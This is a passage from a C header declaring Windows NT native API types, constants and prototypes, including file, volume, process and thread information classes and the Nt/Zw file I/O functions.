LARGE_INTEGER ChangeTime;\n    LARGE_INTEGER AllocationSize;\n    LARGE_INTEGER EndOfFile;\n    ULONG FileAttributes;\n    ULONG ReparseTag;\n    ULONG NumberOfLinks;\n    ACCESS_MASK EffectiveAccess;\n    ULONG LxFlags;\n    ULONG LxUid;\n    ULONG LxGid;\n    ULONG LxMode;\n    ULONG LxDeviceIdMajor;\n    ULONG LxDeviceIdMinor;\n} FILE_STAT_LX_INFORMATION, *PFILE_STAT_LX_INFORMATION;\n\n#define FILE_CS_FLAG_CASE_SENSITIVE_DIR     0x00000001\n\ntypedef struct _FILE_CASE_SENSITIVE_INFORMATION\n{\n    ULONG Flags;\n} FILE_CASE_SENSITIVE_INFORMATION, *PFILE_CASE_SENSITIVE_INFORMATION;\n\ntypedef enum _FSINFOCLASS {\n    FileFsVolumeInformation       = 1,\n    FileFsLabelInformation,      // 2\n    FileFsSizeInformation,       // 3\n    FileFsDeviceInformation,     // 4\n    FileFsAttributeInformation,  // 5\n    FileFsControlInformation,    // 6\n    FileFsFullSizeInformation,   // 7\n    FileFsObjectIdInformation,   // 8\n    FileFsDriverPathInformation, // 9\n    FileFsVolumeFlagsInformation,// 10\n    FileFsSectorSizeInformation, // 11\n    FileFsDataCopyInformation,   // 12\n    FileFsMaximumInformation\n} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS;\n\n\ntypedef struct _FILE_FS_VOLUME_INFORMATION {\n    LARGE_INTEGER VolumeCreationTime;\n    ULONG VolumeSerialNumber;\n    ULONG VolumeLabelLength;\n    BOOLEAN SupportsObjects;\n    WCHAR VolumeLabel[1];\n} FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION;\n\n\ntypedef struct _FILE_FS_LABEL_INFORMATION {\n    ULONG VolumeLabelLength;\n    WCHAR VolumeLabel[1];\n} FILE_FS_LABEL_INFORMATION, *PFILE_FS_LABEL_INFORMATION;\n\n\ntypedef struct _FILE_FS_SIZE_INFORMATION {\n    LARGE_INTEGER TotalAllocationUnits;\n    LARGE_INTEGER AvailableAllocationUnits;\n    ULONG SectorsPerAllocationUnit;\n    ULONG BytesPerSector;\n} FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION;\n\n\ntypedef struct _FILE_FS_DEVICE_INFORMATION {\n    DEVICE_TYPE DeviceType;\n    ULONG Characteristics;\n} FILE_FS_DEVICE_INFORMATION, *PFILE_FS_DEVICE_INFORMATION;\n\n\ntypedef struct _FILE_FS_ATTRIBUTE_INFORMATION {\n    ULONG FileSystemAttributes;\n    LONG MaximumComponentNameLength;\n    ULONG FileSystemNameLength;\n    WCHAR FileSystemName[1];\n} FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION;\n\n\ntypedef struct _FILE_FS_CONTROL_INFORMATION {\n    LARGE_INTEGER FreeSpaceStartFiltering;\n    LARGE_INTEGER FreeSpaceThreshold;\n    LARGE_INTEGER FreeSpaceStopFiltering;\n    LARGE_INTEGER DefaultQuotaThreshold;\n    LARGE_INTEGER DefaultQuotaLimit;\n    ULONG FileSystemControlFlags;\n} FILE_FS_CONTROL_INFORMATION, *PFILE_FS_CONTROL_INFORMATION;\n\n\ntypedef struct _FILE_FS_FULL_SIZE_INFORMATION {\n    LARGE_INTEGER TotalAllocationUnits;\n    LARGE_INTEGER CallerAvailableAllocationUnits;\n    LARGE_INTEGER ActualAvailableAllocationUnits;\n    ULONG SectorsPerAllocationUnit;\n    ULONG BytesPerSector;\n} FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION;\n\n\ntypedef struct _FILE_FS_OBJECTID_INFORMATION {\n    UCHAR ObjectId[16];\n    UCHAR ExtendedInfo[48];\n} FILE_FS_OBJECTID_INFORMATION, *PFILE_FS_OBJECTID_INFORMATION;\n\n\ntypedef struct _FILE_FS_DRIVER_PATH_INFORMATION {\n    BOOLEAN DriverInPath;\n    ULONG   DriverNameLength;\n    WCHAR   DriverName[1];\n} FILE_FS_DRIVER_PATH_INFORMATION, *PFILE_FS_DRIVER_PATH_INFORMATION;\n\n\ntypedef struct _FILE_FS_VOLUME_FLAGS_INFORMATION {\n    ULONG Flags;\n} FILE_FS_VOLUME_FLAGS_INFORMATION, *PFILE_FS_VOLUME_FLAGS_INFORMATION;\n\ntypedef struct _FILE_FS_SECTOR_SIZE_INFORMATION {\n    ULONG LogicalBytesPerSector;\n    ULONG PhysicalBytesPerSectorForAtomicity;\n    ULONG PhysicalBytesPerSectorForPerformance;\n    ULONG FileSystemEffectivePhysicalBytesPerSectorForAtomicity;\n    ULONG Flags;\n    ULONG ByteOffsetForSectorAlignment;\n    ULONG ByteOffsetForPartitionAlignment;\n} FILE_FS_SECTOR_SIZE_INFORMATION, *PFILE_FS_SECTOR_SIZE_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateFile(\n    OUT PHANDLE FileHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PLARGE_INTEGER AllocationSize,\n    IN  ULONG FileAttributes,\n    IN  ULONG ShareAccess,\n    IN  ULONG CreateDisposition,\n    IN  ULONG CreateOptions,\n    IN  PVOID EaBuffer,\n    IN  ULONG EaLength);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCreateFile(\n    OUT PHANDLE FileHandle,\n    IN  ACCESS_MASK DesiredAccess,\n    IN  POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PLARGE_INTEGER AllocationSize,\n    IN  ULONG FileAttributes,\n    IN  ULONG ShareAccess,\n    IN  ULONG CreateDisposition,\n    IN  ULONG CreateOptions,\n    IN  PVOID EaBuffer,\n    IN  ULONG EaLength);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenFile(\n    OUT PHANDLE FileHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG ShareAccess,\n    IN ULONG OpenOptions\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwOpenFile(\n    OUT PHANDLE FileHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN ULONG ShareAccess,\n    IN ULONG OpenOptions\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryAttributesFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PFILE_BASIC_INFORMATION FileInformation\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryAttributesFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    OUT PFILE_BASIC_INFORMATION FileInformation\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryDirectoryFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass,\n    IN BOOLEAN ReturnSingleEntry,\n    IN PUNICODE_STRING FileName OPTIONAL,\n    IN BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryDirectoryFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass,\n    IN BOOLEAN ReturnSingleEntry,\n    IN PUNICODE_STRING FileName OPTIONAL,\n    IN BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID FileInformation,\n    IN ULONG Length,\n    IN FILE_INFORMATION_CLASS FileInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetVolumeInformationFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID FsInformation,\n    IN ULONG Length,\n    IN FS_INFORMATION_CLASS FsInformationClass\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    IN  BOOLEAN ReturnSingleEntry,\n    IN  PVOID EaList OPTIONAL,\n    IN  ULONG EaListLength,\n    IN  PULONG EaIndex OPTIONAL,\n    IN  BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    IN  BOOLEAN ReturnSingleEntry,\n    IN  PVOID EaList OPTIONAL,\n    IN  ULONG EaListLength,\n    IN  PULONG EaIndex OPTIONAL,\n    IN  BOOLEAN RestartScan\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtSetEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PVOID Buffer,\n    IN  ULONG Length\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwSetEaFile(\n    IN  HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  PVOID Buffer,\n    IN  ULONG Length\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtReadFileScatter(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PFILE_SEGMENT_ELEMENT SegmentArray,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwReadFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    OUT PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtWriteFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwWriteFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PVOID Buffer,\n    IN ULONG Length,\n    IN PLARGE_INTEGER ByteOffset OPTIONAL,\n    IN PULONG Key OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeleteFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwDeleteFile(\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFlushBuffersFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFlushBuffersFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDeviceIoControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG IoControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwDeviceIoControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG IoControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtFsControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG FsControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwFsControlFile(\n    IN  HANDLE FileHandle,\n    IN  HANDLE Event,\n    IN  PIO_APC_ROUTINE ApcRoutine,\n    IN  PVOID ApcContext,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN  ULONG FsControlCode,\n    IN  PVOID InputBuffer,\n    IN  ULONG InputBufferLength,\n    IN  PVOID OutputBuffer,\n    IN  ULONG OutputBufferLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCancelIoFile(\n    IN HANDLE Filehandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwCancelIoFile(\n    IN HANDLE Filehandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLockFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key,\n    IN BOOLEAN FailImmediately,\n    IN BOOLEAN ExclusiveLock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwLockFile(\n    IN HANDLE FileHandle,\n    IN HANDLE Event OPTIONAL,\n    IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n    IN PVOID ApcContext OPTIONAL,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key,\n    IN BOOLEAN FailImmediately,\n    IN BOOLEAN ExclusiveLock\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnlockFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnlockFile(\n    IN HANDLE FileHandle,\n    OUT PIO_STATUS_BLOCK IoStatusBlock,\n    IN PLARGE_INTEGER ByteOffset,\n    IN PLARGE_INTEGER Length,\n    IN ULONG Key\n    );\n\n\n//-----------------------------------------------------------------------------\n// DOS <-> NT path functions\n\n// OUT Disposition values for RtlNtPathNameToDosPathName\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_AMBIGUOUS   (0x00000001)\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_UNC         (0x00000002)\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_DRIVE       (0x00000003)\n#define RTL_NT_PATH_NAME_TO_DOS_PATH_NAME_ALREADY_DOS (0x00000004)\n\ntypedef enum _RTL_PATH_TYPE\n{\n    RtlPathTypeUnknown,         // 0\n    RtlPathTypeUncAbsolute,     // 1\n    RtlPathTypeDriveAbsolute,   // 2\n    RtlPathTypeDriveRelative,   // 3\n    RtlPathTypeRooted,          // 4\n    RtlPathTypeRelative,        // 5\n    RtlPathTypeLocalDevice,     // 6\n    RtlPathTypeRootLocalDevice  // 7\n} RTL_PATH_TYPE, *PRTL_PATH_TYPE;\n\n// CURDIR structure\ntypedef struct _CURDIR\n{\n    UNICODE_STRING DosPath;\n    HANDLE Handle;\n} CURDIR, *PCURDIR;\n\nNTSYSAPI\nULONG\nNTAPI\nRtlIsDosDeviceName_U(\n    IN PWSTR DosFileName\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDosPathNameToNtPathName_U (\n    IN  PCWSTR DosPathName,\n    OUT PUNICODE_STRING NtPathName,\n    OUT PWSTR * NtFileNamePart OPTIONAL,\n    OUT PCURDIR DirectoryInfo OPTIONAL\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetFullPathName_U(\n    PCWSTR lpFileName,\n    ULONG nBufferLength,\n    PWSTR lpBuffer,\n    PWSTR *lpFilePart OPTIONAL\n    );\n\nNTSYSAPI\nBOOLEAN\nNTAPI\nRtlDoesFileExists_U(\n    IN PCWSTR FileName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlNtPathNameToDosPathName(                     // Available in Windows XP or newer\n    IN  ULONG Flags,\n    IN OUT PRTL_UNICODE_STRING_BUFFER Path,\n    OUT PULONG Disposition OPTIONAL,\n    IN OUT PWSTR * FilePart OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Process functions\n\n#define GDI_HANDLE_BUFFER_SIZE      60\n\n// RTL_USER_PROCESS_PARAMETERS::Flags\n#define RTL_USER_PROC_PARAMS_NORMALIZED         0x00000001\n#define RTL_USER_PROC_PROFILE_USER              0x00000002\n#define RTL_USER_PROC_PROFILE_KERNEL            0x00000004\n#define RTL_USER_PROC_PROFILE_SERVER            0x00000008\n#define RTL_USER_PROC_RESERVE_1MB               0x00000020\n#define RTL_USER_PROC_RESERVE_16MB              0x00000040\n#define RTL_USER_PROC_CASE_SENSITIVE            0x00000080\n#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT     0x00000100\n#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL     0x00001000\n#define RTL_USER_PROC_APP_MANIFEST_PRESENT      0x00002000\n#define RTL_USER_PROC_IMAGE_KEY_MISSING         0x00004000\n#define RTL_USER_PROC_OPTIN_PROCESS             0x00020000\n#define RTL_USER_PROC_SECURE_PROCESS            0x80000000\n\n// PEB::NtGlobalFlag\n#define FLG_STOP_ON_EXCEPTION                   0x00000001          // (soe) Stop on exception\n#define FLG_SHOW_LDR_SNAPS                      0x00000002          // (sls) Show loader snaps\n#define FLG_DEBUG_INITIAL_COMMAND               0x00000004          // (dic) Debug initial command\n#define FLG_STOP_ON_HUNG_GUI                    0x00000008          // (shg) Stop on hung GUI\n#define FLG_HEAP_ENABLE_TAIL_CHECK              0x00000010          // (htc) Enable heap tail checking\n#define FLG_HEAP_ENABLE_FREE_CHECK              0x00000020          // (hfc) Enable heap free checking\n#define FLG_HEAP_VALIDATE_PARAMETERS            0x00000040          // (hpc) Enable heap parameter checking\n#define FLG_HEAP_VALIDATE_ALL                   0x00000080          // (hvc) Enable heap validation on call\n#define FLG_POOL_ENABLE_TAIL_CHECK              0x00000100          // (vrf) Enable application verifier\n#define FLG_MONITOR_SILENT_PROCESS_EXIT         0x00000200          // (   ) Enable silent process exit monitoring\n#define FLG_POOL_ENABLE_TAGGING                 0x00000400          // (ptg) Enable pool tagging (Windows 2000 and Windows XP only)\n#define FLG_HEAP_ENABLE_TAGGING                 0x00000800          // (htg) Enable heap tagging\n#define FLG_USER_STACK_TRACE_DB                 0x00001000          // (ust) Create user mode stack trace database\n#define FLG_KERNEL_STACK_TRACE_DB               0x00002000          // (kst) Create kernel mode stack trace database\n#define FLG_MAINTAIN_OBJECT_TYPELIST            0x00004000          // (otl) Maintain a list of objects for each type\n#define FLG_HEAP_ENABLE_TAG_BY_DLL              0x00008000          // (htd) Enable heap tagging by DLL\n#define FLG_DISABLE_STACK_EXTENSION             0x00010000          // (dse) Disable stack extension\n#define FLG_ENABLE_CSRDEBUG                     0x00020000          // (d32) Enable debugging of Win32 subsystem\n#define FLG_ENABLE_KDEBUG_SYMBOL_LOAD           0x00040000          // (ksl) Enable loading of kernel debugger symbols\n#define FLG_DISABLE_PAGE_KERNEL_STACKS          0x00080000          // (dps) Disable paging of kernel stacks\n#define FLG_ENABLE_SYSTEM_CRIT_BREAKS           0x00100000          // (scb) Enable system critical breaks\n#define FLG_HEAP_DISABLE_COALESCING             0x00200000          // (dhc) Disable heap coalesce on free\n#define FLG_ENABLE_CLOSE_EXCEPTIONS             0x00400000          // (ece) Enable close exception\n#define FLG_ENABLE_EXCEPTION_LOGGING            0x00800000          // (eel) Enable exception logging\n#define FLG_ENABLE_HANDLE_TYPE_TAGGING          0x01000000          // (eot) Enable object handle type tagging\n#define FLG_HEAP_PAGE_ALLOCS                    0x02000000          // (hpa) Enable page heap\n#define FLG_DEBUG_INITIAL_COMMAND_EX            0x04000000          // (dwl) Debug WinLogon\n#define FLG_DISABLE_DBGPRINT                    0x08000000          // (ddp) Buffer DbgPrint Output\n#define FLG_CRITSEC_EVENT_CREATION              0x10000000          // (cse) Early critical section event creation\n#define FLG_STOP_ON_UNHANDLED_EXCEPTION         0x20000000          // (sue) Stop on unhandled user-mode exception\n#define FLG_ENABLE_HANDLE_EXCEPTIONS            0x40000000          // (bhd) Enable bad handles detection\n#define FLG_DISABLE_PROTDLLS                    0x80000000          // (dpd) Disable protected DLL verification\n#define FLG_VALID_BITS                          0xFFFFFFFF\n\n// For ProcessExecuteFlags\n#define MEM_EXECUTE_OPTION_DISABLE                          0x1\n#define MEM_EXECUTE_OPTION_ENABLE                           0x2\n#define MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION          0x4\n#define MEM_EXECUTE_OPTION_PERMANENT                        0x8\n#define MEM_EXECUTE_OPTION_EXECUTE_DISPATCH_ENABLE          0x10\n#define MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE            0x20\n#define MEM_EXECUTE_OPTION_DISABLE_EXCEPTION_CHAIN_VALIDATION\t0x40\n#define MEM_EXECUTE_OPTION_VALID_FLAGS                      0x3F\n\n//\n// Process Information Classes\n//\n\ntypedef enum _PROCESSINFOCLASS {\n    ProcessBasicInformation,                // 0x00\n    ProcessQuotaLimits,                     // 0x01\n    ProcessIoCounters,                      // 0x02\n    ProcessVmCounters,                      // 0x03\n    ProcessTimes,                           // 0x04\n    ProcessBasePriority,                    // 0x05\n    ProcessRaisePriority,                   // 0x06\n    ProcessDebugPort,                       // 0x07\n    ProcessExceptionPort,                   // 0x08\n    ProcessAccessToken,                     // 0x09\n    ProcessLdtInformation,                  // 0x0A\n    ProcessLdtSize,                         // 0x0B\n    ProcessDefaultHardErrorMode,            // 0x0C\n    ProcessIoPortHandlers,                  // 0x0D Note: this is kernel mode only\n    ProcessPooledUsageAndLimits,            // 0x0E\n    ProcessWorkingSetWatch,                 // 0x0F\n    ProcessUserModeIOPL,                    // 0x10\n    ProcessEnableAlignmentFaultFixup,       // 0x11\n    ProcessPriorityClass,                   // 0x12\n    ProcessWx86Information,                 // 0x13\n    ProcessHandleCount,                     // 0x14\n    ProcessAffinityMask,                    // 0x15\n    ProcessPriorityBoost,                   // 0x16\n    ProcessDeviceMap,                       // 0x17\n    ProcessSessionInformation,              // 0x18\n    ProcessForegroundInformation,           // 0x19\n    ProcessWow64Information,                // 0x1A\n    ProcessImageFileName,                   // 0x1B\n    ProcessLUIDDeviceMapsEnabled,           // 0x1C\n    ProcessBreakOnTermination,              // 0x1D\n    ProcessDebugObjectHandle,               // 0x1E\n    ProcessDebugFlags,                      // 0x1F\n    ProcessHandleTracing,                   // 0x20\n    ProcessIoPriority,                      // 0x21\n    ProcessExecuteFlags,                    // 0x22\n    ProcessTlsInformation,\n    ProcessCookie,\n    ProcessImageInformation,\n    ProcessCycleTime,\n    ProcessPagePriority,\n    ProcessInstrumentationCallback,\n    ProcessThreadStackAllocation,\n    ProcessWorkingSetWatchEx,\n    ProcessImageFileNameWin32,\n    ProcessImageFileMapping,\n    ProcessAffinityUpdateMode,\n    ProcessMemoryAllocationMode,\n    ProcessGroupInformation,\n    ProcessTokenVirtualizationEnabled,\n    ProcessConsoleHostProcess,\n    ProcessWindowInformation,\n    MaxProcessInfoClass                     // MaxProcessInfoClass should always be the last enum\n} PROCESSINFOCLASS;\n\n//\n// Thread Information Classes\n//\n\ntypedef enum _THREADINFOCLASS {\n    ThreadBasicInformation,                 // 0x00\n    ThreadTimes,                            // 0x01\n    ThreadPriority,                         // 0x02\n    ThreadBasePriority,                     // 0x03\n    ThreadAffinityMask,                     // 0x04\n    ThreadImpersonationToken,               // 0x05  HANDLE\n    ThreadDescriptorTableEntry,             // 0x06  ULONG Selector + LDT_ENTRY\n    ThreadEnableAlignmentFaultFixup,        // 0x07\n    ThreadEventPair,                        // 0x08\n    ThreadQuerySetWin32StartAddress,        // 0x09\n    ThreadZeroTlsCell,                      // 0x0A\n    ThreadPerformanceCount,                 // 0x0B\n    ThreadAmILastThread,                    // 0x0C  ULONG\n    ThreadIdealProcessor,                   // 0x0D\n    ThreadPriorityBoost,                    // 0x0E\n    ThreadSetTlsArrayAddress,               // 0x0F\n    ThreadIsIoPending,                      // 0x10\n    ThreadHideFromDebugger,                 // 0x11\n    MaxThreadInfoClass\n} THREADINFOCLASS;\n\n\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\n{\n    USHORT Flags;\n    USHORT Length;\n    ULONG  TimeStamp;\n    STRING DosPath;\n\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\n\n\ntypedef struct _SECTION_IMAGE_INFORMATION\n{\n    PVOID TransferAddress;\n    ULONG ZeroBits;\n    SIZE_T MaximumStackSize;\n    SIZE_T CommittedStackSize;\n    ULONG SubSystemType;\n    union {\n        struct {\n            USHORT SubSystemMinorVersion;\n            USHORT SubSystemMajorVersion;\n        };\n        ULONG SubSystemVersion;\n    };\n    ULONG GpValue;\n    USHORT ImageCharacteristics;\n    USHORT DllCharacteristics;\n    USHORT Machine;\n    BOOLEAN ImageContainsCode;\n    BOOLEAN Spare1;\n    ULONG LoaderFlags;\n    ULONG ImageFileSize;                    // Reserved[0] for NT 4.0 and 2000\n    ULONG CheckSum;                         // Reserved[1] until 